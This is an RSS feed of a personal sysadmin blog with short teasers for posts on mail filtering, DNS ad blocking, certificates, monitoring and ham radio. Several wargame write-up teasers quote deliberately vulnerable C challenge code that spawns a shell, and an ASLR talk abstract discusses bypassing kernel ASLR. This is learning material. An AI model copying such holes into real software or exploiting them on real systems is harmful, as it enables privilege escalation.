Tadej</description></item><item><title>Use Fail2ban and Postfix Postscreen to Fight Cutwail Botnet</title><link>/blog/2018-10-25-use-fail2ban-and-postfix-postscreen-to-fight-cutwail-botnet/</link><pubDate>Thu, 25 Oct 2018 15:10:16 +0200</pubDate><guid>/blog/2018-10-25-use-fail2ban-and-postfix-postscreen-to-fight-cutwail-botnet/</guid><description>Intro My /var/log/mail.log:
Oct 25 12:26:54 sablun postfix/postscreen[20895]: PREGREET 14 after 0.23 from [187.60.214.100]:53007: EHLO ylmf-pc\r\n Oct 25 12:26:55 sablun postfix/postscreen[20895]: PREGREET 14 after 0.23 from [187.60.214.100]:53128: EHLO ylmf-pc\r\n Oct 25 12:26:56 sablun postfix/postscreen[20895]: PREGREET 14 after 0.23 from [187.60.214.100]:53254: EHLO ylmf-pc\r\n Oct 25 12:26:56 sablun postfix/postscreen[20895]: PREGREET 14 after 0.23 from [187.60.214.100]:53362: EHLO ylmf-pc\r\n Oct 25 12:26:57 sablun postfix/postscreen[20895]: PREGREET 14 after 0.22 from [187.60.214.100]:53484: EHLO ylmf-pc\r\n Oct 25 12:26:58 sablun postfix/postscreen[20895]: PREGREET 14 after 0.</description></item><item><title>Ad Blocking for VPN Clients With Unbound</title><link>/blog/2018-10-02-ad-blocking-for-vpn-clients-with-unbound/</link><pubDate>Tue, 02 Oct 2018 13:11:03 +0200</pubDate><guid>/blog/2018-10-02-ad-blocking-for-vpn-clients-with-unbound/</guid><description>Intro and why I want to give up 80% of my internet bandwith to watch ads. &amp;ndash; said no one ever
For more than a year, I am using my own VPN solution based on Strongswan, whenever I connect to unknown and/or untrusted wifi networks with my devices. Basically that means I am enforcing safe encrypted path for my data on every network that I don’t control.
One of the minor inconveniences were the commercial breaks in youtube videos, sure I could block the ads on the device, but good luck doing that in youtube app on iOS.</description></item><item><title>When Unbound Won't Write Logs</title><link>/blog/2018-09-27-when-unbound-wont-write-logs/</link><pubDate>Thu, 27 Sep 2018 09:11:22 +0200</pubDate><guid>/blog/2018-09-27-when-unbound-wont-write-logs/</guid><description>Since I have set up my own e-mail server solution, I am using unbound as a local reverse DNS for rspamd. It works great&amp;hellip; So great, that I haven&amp;rsquo;t noticed that it does not log anything until today&amp;hellip;
Error as seen when restarting the service or looking into syslog:
error Could not open logfile /var/log/unbound/unbound.log: Permission denied The permissions on the file are okay, but the problem was with apparmor.</description></item><item><title>Toggle Hosts File Instantenously (content blocking)</title><link>/blog/2018-09-27-toggle-hosts-file-instantenously/</link><pubDate>Thu, 27 Sep 2018 08:53:35 +0200</pubDate><guid>/blog/2018-09-27-toggle-hosts-file-instantenously/</guid><description>Intro For a while now, I am using hosts file to block unwanted content at DNS resolve level.
The source for the blocked hosts file I am using can be obtained in the famous Steven Black github repository.
It works great, but sometimes, you just need that peice of internet that the list blocks.
Fear no more!
Implementation The steps are written for macOS, but can be easily converted for any unix like operating system.</description></item><item><title>N26 Category Icons</title><link>/blog/2018-09-05-n26-category-icons/</link><pubDate>Wed, 05 Sep 2018 08:06:39 +0200</pubDate><guid>/blog/2018-09-05-n26-category-icons/</guid><description>Updated on 22.03.2020: N26 uses new icons, but unfortunatly they have changed the website and SVG versions can&amp;rsquo;t be obtained. I have contacted the support, but they won&amp;rsquo;t release them to the public. Because of this, the modern icons are available only in small PNG files.
A collection of exported icons from the N26 bank website/app.
If somebody needs N26 bank category icons for use with Banktivity (or any other software), I have made discrete svg files and corresponding png rasters.</description></item><item><title>B2 Duplicity Debian</title><link>/blog/2018-06-18-b2-duplicity-debian/</link><pubDate>Mon, 18 Jun 2018 11:27:26 +0200</pubDate><guid>/blog/2018-06-18-b2-duplicity-debian/</guid><description>Intro On friday all hosts that had B2 as a endpoint for Duplicity failed with error &amp;ldquo;Authtoken expired, will reauthenticate with next attempt&amp;rdquo;.
I still have no idea what has changed, but lets fix it.
In this article we will upgrade Duplicity and install B2 via pip (package), as from version 0.15 of Duplicity that is necessary.
Debian 9 (Stretch) You are in luck, just need to grab the latest Duplicity version from backports.</description></item><item><title>Letsencrypt Wildcard Certificates on Debian</title><link>/blog/2018-03-22-letsencrypt-wildcard-certificates-on-debian/</link><pubDate>Thu, 22 Mar 2018 10:46:41 +0100</pubDate><guid>/blog/2018-03-22-letsencrypt-wildcard-certificates-on-debian/</guid><description>Pin the packages from unstable Early adopters will need to use unstable repo and pin the packages:
/etc/apt/sources # Unstable repo main, contrib and non-free branches, no security updates here # Packages without bug reports go to stable after 10 days. deb http://ftp.be.debian.org/debian/ unstable main contrib non-free deb-src http://ftp.be.debian.org/debian/ unstable main contrib non-free /etc/apt/preferences Package: certbot Pin: release a=unstable Pin-Priority: 900 Package: python3-certbot Pin: release a=unstable Pin-Priority: 900 Package: python3-acme Pin: release a=unstable Pin-Priority: 900 After 10 days with no bug reports the package will be in stable, so you can skip this.</description></item><item><title>Check if Private Key Was Used for SSL Certificate Generation</title><link>/blog/2018-03-21-check-if-private-key-was-used-for-ssl-certificate-generation/</link><pubDate>Wed, 21 Mar 2018 11:03:44 +0100</pubDate><guid>/blog/2018-03-21-check-if-private-key-was-used-for-ssl-certificate-generation/</guid><description>Intro &amp;amp; Outro To find out if some private key was used to generate new certificate request, you can use the following commands and compare the hashes.
openssl pkey -in privateKey.key -pubout -outform pem | sha256sum openssl x509 -in certificate.crt -pubkey -noout -outform pem | sha256sum openssl req -in CSR.csr -pubkey -noout -outform pem | sha256sum MacOS On macOS you can replace sha256sum with shasum -a 256.</description></item><item><title>Sablun Refresh</title><link>/blog/2018-03-12-sablun-refresh/</link><pubDate>Mon, 12 Mar 2018 08:38:01 +0100</pubDate><guid>/blog/2018-03-12-sablun-refresh/</guid><description>Minor refresh of the main website was done :)
Old New</description></item><item><title>Books of 2017</title><link>/blog/2018-01-07-books-of-2017/</link><pubDate>Sun, 07 Jan 2018 09:22:12 +0100</pubDate><guid>/blog/2018-01-07-books-of-2017/</guid><description>Introduction to Computational Genomics - Cristianini, Nello Klic kukavice (Cormoran Strike, #1) - Galbraith, Robert Ime vetra (Kraljemorčeve kronike, #1) - Rothfuss, Patrick Kot v filmu - Möderndorfer, Vinko Modrijanov strah (The Kingkiller Chronicle, #2) - Rothfuss, Patrick The Slow Regard of Silent Things (The Kingkiller Chronicle, #2.5) - Rothfuss, Patrick Zen and the Art of Motorcycle Maintenance: An Inquiry Into Values (Phaedrus, #1) - Pirsig, Robert M. Severni sij (His Dark Materials, #1) - Pullman, Philip Pretanjeni nož (His Dark Materials, #2) - Pullman, Philip Jantarni daljnogled (His Dark Materials, #3) - Pullman, Philip The Silkworm (Cormoran Strike, #2) - Galbraith, Robert Zgodovina moje heroinske odvisnosti - Blažič, Zlatko The Art of Invisibility: The World&amp;rsquo;s Most Famous Hacker Teaches You How to Be Safe in the Age of Big Brother and Big Data - Mitnick, Kevin D.</description></item><item><title>My VPS solution</title><link>/blog/2017-12-27-vps/</link><pubDate>Wed, 27 Dec 2017 13:38:38 +0100</pubDate><guid>/blog/2017-12-27-vps/</guid><description>Here is a little bit of info on my personal hosting solution. The whole operation is composed of three various services and discrete providers:
VPS hosting at OVH DNS service at FreeDNS.si Backup bucket at Backblaze VPS I was using VPS 2016 - SSD 2 that has 1 vCore, 4 GiB of RAM and 20 GiB of storage on SSD RAID array.
As of december 2018 I am using VPS 2018 - SSD 2 that has 1 vCore, 4 GiB of RAM and 40 GiB of storage on SSD RAID array.</description></item><item><title>Iphone 6 Battery Transplant</title><link>/blog/2017-12-22-iphone-6-battery-transplant/</link><pubDate>Fri, 22 Dec 2017 19:11:50 +0100</pubDate><guid>/blog/2017-12-22-iphone-6-battery-transplant/</guid><description>In the spirit of all around Apple hate, I have jumped the bandwagon on this one :D
Apple has admitted to intentionally slowing down older iPhones, without notifying users. Source
“Last year we released a feature for iPhone 6, iPhone 6s and iPhone SE to smooth out the instantaneous peaks only when needed to prevent the device from unexpectedly shutting down during these conditions,”
“We’ve now extended that feature to iPhone 7 with iOS 11.</description></item><item><title>Qnap Monitoring With Check Mk</title><link>/blog/2017-12-21-qnap-monitoring-with-check-mk/</link><pubDate>Thu, 21 Dec 2017 10:39:53 +0100</pubDate><guid>/blog/2017-12-21-qnap-monitoring-with-check-mk/</guid><description>A little update on 7.1.2020
I have implemented monitoring of QNAP devices with CheckMK following this tutorial.
The problem was that if the mount point path was too long for column, df would break the line there and the hack parser mentioned in the tutorial stops working.
To solve this issue, use -P switch with df, to force POSIX compliancy and prevent breaklines. So the working command to output and semi-parse the data would be:</description></item><item><title>Oh My Zsh</title><link>/blog/2017-12-13-oh-my-zsh/</link><pubDate>Wed, 13 Dec 2017 22:03:55 +0100</pubDate><guid>/blog/2017-12-13-oh-my-zsh/</guid><description>I am using ZSH, probably for the last 15 years, all the time heavily customized Phil!&amp;rsquo;s ZSH prompt. After so many years of hand tuning the .zshrc I jumped the oh-my-zsh bandwagon. I set it up on Debian server briefly with modified jonathan theme, so it looks like my original prompt. My desires to extend oh-my-zsh to macOS on laptop failed miserably again. Any theme I use, it lags. Prompt drawing is slow, tried iTerm2 and Terminal, all the tricks from the internet, allways the same.</description></item><item><title>T-Shirts</title><link>/blog/2017-12-09-t-shirts/</link><pubDate>Sat, 09 Dec 2017 22:04:36 +0100</pubDate><guid>/blog/2017-12-09-t-shirts/</guid><description>Our new work T-shirts :)</description></item><item><title>Server Services Diagram</title><link>/blog/2017-12-07-server-services-diagram/</link><pubDate>Thu, 07 Dec 2017 12:07:46 +0100</pubDate><guid>/blog/2017-12-07-server-services-diagram/</guid><description/></item><item><title>Nginx vs Apache</title><link>/blog/2017-12-05-nginx-vs-apache/</link><pubDate>Tue, 05 Dec 2017 13:55:25 +0100</pubDate><guid>/blog/2017-12-05-nginx-vs-apache/</guid><description>A quick and not very scientific nginx and apache comparison.
nginx $ ab -k -n 10000 -c 100 https://b4d.sablun.org:8443/index.html This is ApacheBench, Version 2.3 &amp;lt;$Revision: 1757674 $&amp;gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking b4d.sablun.org (be patient) Completed 1000 requests Completed 2000 requests Completed 3000 requests Completed 4000 requests Completed 5000 requests Completed 6000 requests Completed 7000 requests Completed 8000 requests Completed 9000 requests Completed 10000 requests Finished 10000 requests Server Software: nginx/1.</description></item><item><title>Medion Akoya Permanent Sleep</title><link>/blog/2017-12-04-medion-akoya-permanent-sleep/</link><pubDate>Mon, 04 Dec 2017 09:22:50 +0100</pubDate><guid>/blog/2017-12-04-medion-akoya-permanent-sleep/</guid><description>After upgrading Medion Akoya MD 98930 (E6634) to Windows 10, the laptop would not wake up from sleep. Multiple restarts were needed and it was massive PITA.
I have tried all the solutions of turning off Hibernate, Hibernate Sleep and other tricks that can be found around the internet, but with no success.
The solution was upgrading the BIOS to the latest revision.
BIOS download
Download the file, save all your open work and run the file as administrator.</description></item><item><title>Grafana Ipsec</title><link>/blog/2017-11-30-grafana-ipsec/</link><pubDate>Thu, 30 Nov 2017 20:42:36 +0100</pubDate><guid>/blog/2017-11-30-grafana-ipsec/</guid><description>Intro Duct-tape example of sticking together some hacks to display info of Strongswan ipsec information in Grafana.
Parser Using custom python/shell scripts to collect the data (bytes in, bytes out, packets in, packets out, number of clients and their names from ipsec statusall command):
#!/bin/bash STATUS=$(/usr/sbin/ipsec statusall) echo &amp;#34;$STATUS&amp;#34; | grep ESTABLISHED | sed &amp;#39;s/\[/ /g&amp;#39; | sed &amp;#39;s/\]/ / g&amp;#39; | tr -s &amp;#34; &amp;#34; | cut -d&amp;#34; &amp;#34; -f12 echo &amp;#34;$STATUS&amp;#34; | grep -e &amp;#34;bytes_i&amp;#34; | cut -d&amp;#34;:&amp;#34; -f2 | sed &amp;#39;s/[^0-9 ]//g&amp;#39; | tr -s &amp;#34; &amp;#34; | cut -d&amp;#34; &amp;#34; -f3,4,6,7 #!</description></item><item><title>Home Temperature Monitoring with Grafana</title><link>/blog/2017-11-30-temperature-monitoring-grafana/</link><pubDate>Thu, 30 Nov 2017 16:11:28 +0100</pubDate><guid>/blog/2017-11-30-temperature-monitoring-grafana/</guid><description>Intro From nothing to full fledged monitoring with stuff laying around.
HWG-STE push HWG-STE plus
Fake routing for PUSH hostname First challenge was to send push data to my own server. Unfortunately the devices have hardcoded push URL string set up. But that is a small bump in the road for us. We will fake DNS resolving of the sensdesk.com hostname and route all requests to our server.
I have an ASUS router with alternative FW called Merlin, that can do that.</description></item><item><title>About</title><link>/about/</link><pubDate>Thu, 30 Nov 2017 16:03:22 +0100</pubDate><guid>/about/</guid><description>creative chaos</description></item><item><title>ASLR presentation</title><link>/blog/2017-01-13-aslr-presentation/</link><pubDate>Fri, 13 Jan 2017 10:00:00 +0000</pubDate><guid>/blog/2017-01-13-aslr-presentation/</guid><description>Talk for 2016 ISP course on Faculty of Computer and Information Science, Ljubljana.
Speakerdeck presentation.
Address Space Layout Randomization (ASLR) is a computer security technique that provides protection from buffer overflow attacks. ASLR randomizes address space positions of key data of a process, thus making it difficult for an attacker to reliably jump to a particular exploited function in memory. In this paper we study limitations of ASLR and present viable exploitation options that can circumvent kernel space ASLR on current operating systems.</description></item><item><title>Podcast: ABC o HPC</title><link>/blog/2017-01-07-podcast-abc-o-hpc/</link><pubDate>Sat, 07 Jan 2017 20:30:05 +0000</pubDate><guid>/blog/2017-01-07-podcast-abc-o-hpc/</guid><description>Podcast ABC o HPC v sklopu predmeta Poucevanje algoritmicnega razmisljanja je na voljo tukaj.</description></item><item><title>io.smashthestack.org / level04</title><link>/blog/2016-02-15-io-smashthestack-org-level04/</link><pubDate>Mon, 15 Feb 2016 10:01:31 +0000</pubDate><guid>/blog/2016-02-15-io-smashthestack-org-level04/</guid><description>Intro Nekaj besed o četrti stopnji io.smashthestack.org.
Povezava $ ssh -l level4 io.smashthestack.org -p2224 level4@io:/levels$ cat level04.c //writen by bla #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main() { char username[1024]; FILE* f = popen(&amp;#34;whoami&amp;#34;,&amp;#34;r&amp;#34;); fgets(username, sizeof(username), f); printf(&amp;#34;Welcome %s&amp;#34;, username); return 0; } popen FILE *popen(const char *command, const char *type);
DESCRIPTION The popen() function opens a process by creating a pipe, forking, and invoking the shell. Since a pipe is by definition unidirectional, the type argument may specify only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.</description></item><item><title>io.smashthestack.org / level03</title><link>/blog/2016-02-12-io-smashthestack-org-level03/</link><pubDate>Fri, 12 Feb 2016 10:24:48 +0000</pubDate><guid>/blog/2016-02-12-io-smashthestack-org-level03/</guid><description>Intro Nekaj besed o tretji stopnji io.smashthestack.org.
Povezava $ ssh -l level3 io.smashthestack.org -p2224 level3@io:/levels$ cat level03.c //bla, based on work by beach #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; void good() { puts(&amp;#34;Win.&amp;#34;); execl(&amp;#34;/bin/sh&amp;#34;, &amp;#34;sh&amp;#34;, NULL); } void bad() { printf(&amp;#34;I&amp;#39;m so sorry, you&amp;#39;re at %p and you want to be at %p\n&amp;#34;, bad, good); } int main(int argc, char **argv, char **envp) { void (*functionpointer)(void) = bad; char buffer[50]; if(argc != 2 || strlen(argv[1]) &amp;lt; 4) return 0; memcpy(buffer, argv[1], strlen(argv[1])); memset(buffer, 0, strlen(argv[1]) - 4); printf(&amp;#34;This is exciting we&amp;#39;re going to %p\n&amp;#34;, functionpointer); functionpointer(); return 0; } memcpy void *memcpy(void *dest, const void *src, size_t n);</description></item><item><title>io.smashthestack.org / level02_alt</title><link>/blog/2016-01-21-io-smashthestack-org-level02_alt/</link><pubDate>Thu, 21 Jan 2016 15:37:49 +0000</pubDate><guid>/blog/2016-01-21-io-smashthestack-org-level02_alt/</guid><description>Intro Nekaj besed o alternativni rešitvi druge stopnje io.smashthestack.org.
Povezava $ ssh -l level2 io.smashthestack.org -p2224 level2@io:/levels$ ./level02_alt You provided the number -1.000000 which is too low level2@io:/levels$ cat level02_alt.c /* submitted by noname */ #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #define answer 3.141593 void main(int argc, char **argv) { float a = (argc - 2)?: strtod(argv[1], 0); printf(&amp;#34;You provided the number %f which is too &amp;#34;, a); if(a &amp;lt; answer) puts(&amp;#34;low&amp;#34;); else if(a &amp;gt; answer) puts(&amp;#34;high&amp;#34;); else execl(&amp;#34;/bin/sh&amp;#34;, &amp;#34;sh&amp;#34;, &amp;#34;-p&amp;#34;, NULL); } strtod double strtod(const char *str, char **endptr);</description></item><item><title>io.smashthestack.org / level02</title><link>/blog/2016-01-21-io-smashthestack-org-level02/</link><pubDate>Thu, 21 Jan 2016 13:50:49 +0000</pubDate><guid>/blog/2016-01-21-io-smashthestack-org-level02/</guid><description>Intro Nekaj besed o drugi stopnji io.smashthestack.org.
Povezava $ ssh -l level2 io.smashthestack.org -p2224 Oboroženi z visoko stopnjo samozavesti najprej preizkusimo tisto kar je delovalo na prvi stopnji:
level2@io:/levels$ ./level02 source code is available in level02.c Namig je več kot dobrodošel, preverimo izvorno kodo:
level2@io:/levels$ cat level02.c //a little fun brought to you by bla #include #include #include #include void catcher(int a) { setresuid(geteuid(),geteuid(),geteuid()); printf(&amp;#34;WIN!\n&amp;#34;); system(&amp;#34;/bin/sh&amp;#34;); exit(0); } int main(int argc, char **argv) { puts(&amp;#34;source code is available in level02.</description></item><item><title>io.smashthestack.org / level01</title><link>/blog/2015-12-28-io-smashthestack-org-level01/</link><pubDate>Mon, 28 Dec 2015 14:33:36 +0000</pubDate><guid>/blog/2015-12-28-io-smashthestack-org-level01/</guid><description>Intro Spomnil sem se, da sem pred leti užival v &amp;ldquo;blowfish&amp;rdquo; &amp;ldquo;wargame&amp;rdquo;-u na smashthestack.org. Nažalost takrat nisem imel dovolj znanja in vztrajnosti, da bi se kam prebil. Prevrtimo čas nekaj let naprej, nekaj stvari sem se vmes naučil in &amp;ldquo;io&amp;rdquo; bo idealen test kako daleč sem prišel. Napredek bom vmes popisoval v materinem jeziku :)
Povezava Povezava na strežnik je klasična:
$ ssh -l level1 io.smashthestack.org -p2224 Geslo: level1
V domači mapi najdemo navodila za igro.</description></item><item><title>Programming Yaesu FT-857d</title><link>/blog/2013-03-22-programming-yaesu-ft-857d/</link><pubDate>Fri, 22 Mar 2013 07:56:59 +0200</pubDate><guid>/blog/2013-03-22-programming-yaesu-ft-857d/</guid><description>All you need is normal CAT cable, used for rig control via computer and Chirp software. Press and hold &amp;lt; and &amp;gt; keys on transceiver and turn it on, the station should go into clone mode. Press C key on radio (the one saying SEND). Run Chirp, load data form radio by selecting Radio -&amp;gt; Download from radio. Edit channels as needed. Press A key (RCV) on the radio when you are all set and select Radio -&amp;gt; Upload to radio.</description></item><item><title>Mouse Tracking Speed OSX</title><link>/blog/2012-02-07-mouse-tracking-speed-osx/</link><pubDate>Tue, 07 Feb 2012 07:53:11 +0200</pubDate><guid>/blog/2012-02-07-mouse-tracking-speed-osx/</guid><description>Problem: Apple Magic Mouse at work is slow, Logitech MX500 at home is fast :)
Solution:
Applescript that sets the speed parameter, I use 9.0 for Magic Mouse and 6.0 for MX500.
-- Magic Mouse tell application &amp;#34;System Preferences&amp;#34; activate set current pane to pane &amp;#34;com.apple.preference.mouse&amp;#34; end tell delay 1 tell application &amp;#34;System Events&amp;#34; tell process &amp;#34;System Preferences&amp;#34; tell window &amp;#34;Mouse&amp;#34; delay 1 set value of slider 1 to 9.0 end tell end tell end tell tell application &amp;#34;System Preferences&amp;#34; to quit This is semi-solution, you still need to run the script, one of possible solutions would be a check:</description></item><item><title>TH-D72e Station List</title><link>/blog/2011/2011-10-15-th-d72e-station-list/</link><pubDate>Sat, 15 Oct 2011 07:49:20 +0200</pubDate><guid>/blog/2011/2011-10-15-th-d72e-station-list/</guid><description>Ena od zadev, ki me je zanimala, pa sem do doma vedno pozabil pogledat kaj to sploh je&amp;hellip; V seznamu slišanih APRS postaj, ko držimo tipko LIST in še enkrat tako, dobimo seznam postaj s časom prejema paketa, poleg časa se pojavlja tudi črka F, ki označuje, da je v statusu omenjena QSY frekvenca, na katero se lahko prestavimo s pritiskom tipke MENU in OK.
PS: Mineva pa tudi 1 mesec od nabave :)</description></item><item><title>Echolink in TH-D72e</title><link>/blog/2011/2011-10-14-echolink/</link><pubDate>Fri, 14 Oct 2011 07:48:21 +0200</pubDate><guid>/blog/2011/2011-10-14-echolink/</guid><description>Ob nabavi TH-D72, se mi je odprla tudi možnost uporabe echolink omrežja, predhodnik Wouxun je bil iz prve serije in ni podpiral DTMF, mobilni Yaesu, pa ni nikoli prišel na vrsto.
Torej, če gremo po vrsti, naložil sem originalen program, se registriral, kaj več pa nisem klikal, moram preizkusiti delovanje pod Wine-om.
Kenwood ima zanimivo možnost shranjevanja DTMF izbir, ki jih lahko tudi poimenujemo menu 170.
Moje so naslednje:
0: Status - D# 1: Time - A* 2: Kill - # 3: KillAll - #A Več o zadevi, ko se premaknem kam, kjer dejansko lahko dostopam do enega od Echolink repetitorjev&amp;hellip;</description></item><item><title>Xastir in TH-D72e</title><link>/blog/2011/2011-09-17-xastir-in-th-d72e/</link><pubDate>Sat, 17 Sep 2011 07:47:30 +0200</pubDate><guid>/blog/2011/2011-09-17-xastir-in-th-d72e/</guid><description>Uspešno sem povezal Xastir in postajo :)
Povežemo postajo in računalnik s priloženim USB kablom.
tail | dmesg nam pokaže zadnjo priklopljeno napravo, v mojem primeru:
[510302.922373] usb 5-2: new full speed USB device number 6 using uhci_hcd [510303.085763] cp210x 5-2:1.0: cp210x converter detected [510303.192365] usb 5-2: reset full speed USB device number 6 using uhci_hcd [510303.329937] usb 5-2: cp210x converter now attached to ttyUSB2 ugotovimo, da je naprava locirana kot /dev/ttyUSB2.</description></item><item><title>E-mail preko APRS</title><link>/blog/2011/2011-09-17-e-mail-preko-aprs/</link><pubDate>Sat, 17 Sep 2011 07:46:48 +0200</pubDate><guid>/blog/2011/2011-09-17-e-mail-preko-aprs/</guid><description>S sporočilom na npr. EMAIL-9A, EMAILTV oblike &amp;ldquo;naslovnikov@email.je&amp;rdquo; &amp;ldquo;besedilo&amp;rdquo;, lahko preko APRS omrežja pošiljamo e-pošto.
s55db@s59dgo.org TEST From: S55DB-7 test DO NOT REPLY Received from S55DB-7 via APRS by EMAIL-9A Find S55DB-7 at http://www.jfindu.net/getmobilemap.aspx?alt=25&amp;amp;amp;mapnow=1&amp;amp;amp;call=S55DB-7 Track S55DB-7 at http://www.jfindu.net/track.aspx?call=S55DB-7 More info at http://www.aprs-is.net 9A6AIB info at http://www.9A6AIB.net&amp;lt;/code&amp;gt; Možno je tudi pošiljanje sporočil preko interneta v APRS omrežje: IR3IP</description></item><item><title>Motorola DP3600</title><link>/blog/2011/2011-07-24-motorola-dp3600/</link><pubDate>Sun, 24 Jul 2011 07:36:39 +0200</pubDate><guid>/blog/2011/2011-07-24-motorola-dp3600/</guid><description>Že dve leti se v Sloveniji pod okriljem Ministrstva za obrambo razvija digitalno omrežje za službe zaščite in reševanja. Na ta vlak smo tudi v PGD Podgrad skočili, s prejemom digitalno/analogne ročne radijske postaje Motorola DP3600. Le-ta naj bi omogočala razmeroma preprost prehod iz analognega sistema v digitalni, ki bo omogočal prenos več podatkov hkrati (različnih pogovorov).
Sam paket je sila impresiven, postaja je spakirana v lični škatli, poleg naprave dobimo še dva Ni-MH baterijska vložka, anteno, skopa navodila (sicer debela, ampak v velikem številu jezikov), &amp;ldquo;drop-in&amp;rdquo; polnilec in samo eno zaponko za pas.</description></item></channel></rss>